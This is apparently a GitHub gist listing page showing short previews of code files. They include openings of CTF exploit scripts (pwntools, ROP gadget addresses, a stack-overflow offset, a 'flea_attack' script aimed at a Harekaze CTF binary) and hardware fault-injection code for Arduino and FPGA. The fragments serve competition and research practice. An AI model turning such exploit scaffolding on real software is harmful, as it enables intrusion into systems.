This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| #!/usr/bin/python -w | |
| f = open("1.bin","rb") | |
| data = f.read() | |
| f.close() | |
| out = "" | |
| for i in range(0,23): | |
| ref_char = data[(i * 17) + 4] |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| #include <Hash.h> | |
| void setup() { | |
| Serial.begin(9600); | |
| Serial.println("Welcome to the glitchtastic adventure!"); | |
| } | |
| int g1 = 0; | |
| String data = "A"; |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| #!/usr/bin/python | |
| import pwn | |
| import struct | |
| OFFSET_HEADSHOT = struct.pack("<L",0x080483A0) | |
| OFFSET_RETN = struct.pack("<L",0x080484EA) | |
| OFFSET_PLT = struct.pack("<L",0x08049874) | |
| OFFSET_ROPBREAK = struct.pack("<L",0x41424344) |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| #!/usr/bin/python | |
| import sys | |
| nc = 0 | |
| f = open("paths.lst","r") | |
| for l in f.readlines(): | |
| data_text = l.rstrip().split(" d=\"") | |
| if len(data_text) <= 1: |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| from pwn import * | |
| from struct import * | |
| #https://blog.techorganic.com/2016/03/18/64-bit-linux-stack-smashing-tutorial-part-3/ | |
| #NX is on | |
| #64-bit bin | |
| #going to require us to ROP! | |
| #there is 184 bytes between our input_buf and our saved EIP. | |
| #p 0x7fffffffe458 - 0x7fffffffe3a0 = 184 | |
| #the helper function allows us to leak _i think_ |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| #!/usr/bin/python | |
| import pwn | |
| from pwn import * | |
| p = pwn.process("./flea_attack.elf") | |
| # p = pwn.remote("problem.harekaze.com",20175) | |
| raw_input("<ATTACH NOW>") | |
| p.recv() | |
| # the size is 0x04. |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| #!/usr/bin/python | |
| import pwn | |
| from pwn import * | |
| p = pwn.process("./flea_attack.elf") | |
| # p = pwn.remote("problem.harekaze.com",20175) | |
| raw_input("<ATTACH NOW>") | |
| p.recv() | |
| # the size is 0x04. |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| #!/usr/bin/python | |
| import pwn | |
| from pwn import * | |
| p = pwn.process("./flea_attack.elf") | |
| # p = pwn.remote("problem.harekaze.com",20175) | |
| raw_input("<ATTACH NOW>") | |
| p.recv() | |
| # the size is 0x04. |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| #define F_CPU 16000000UL | |
| #define BAUD 9600 | |
| #include <util/setbaud.h> | |
| #include <avr/io.h> | |
| #include <stdio.h> | |
| void uart_init(void) { | |
| UBRR0H = UBRRH_VALUE; | |
| UBRR0L = UBRRL_VALUE; |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| `timescale 1ns / 1ps | |
| module test1( | |
| input clk_leeched, | |
| output glitch_out, | |
| output led_out, | |
| input glitch_en | |
| ); | |
| reg[8:0] r; |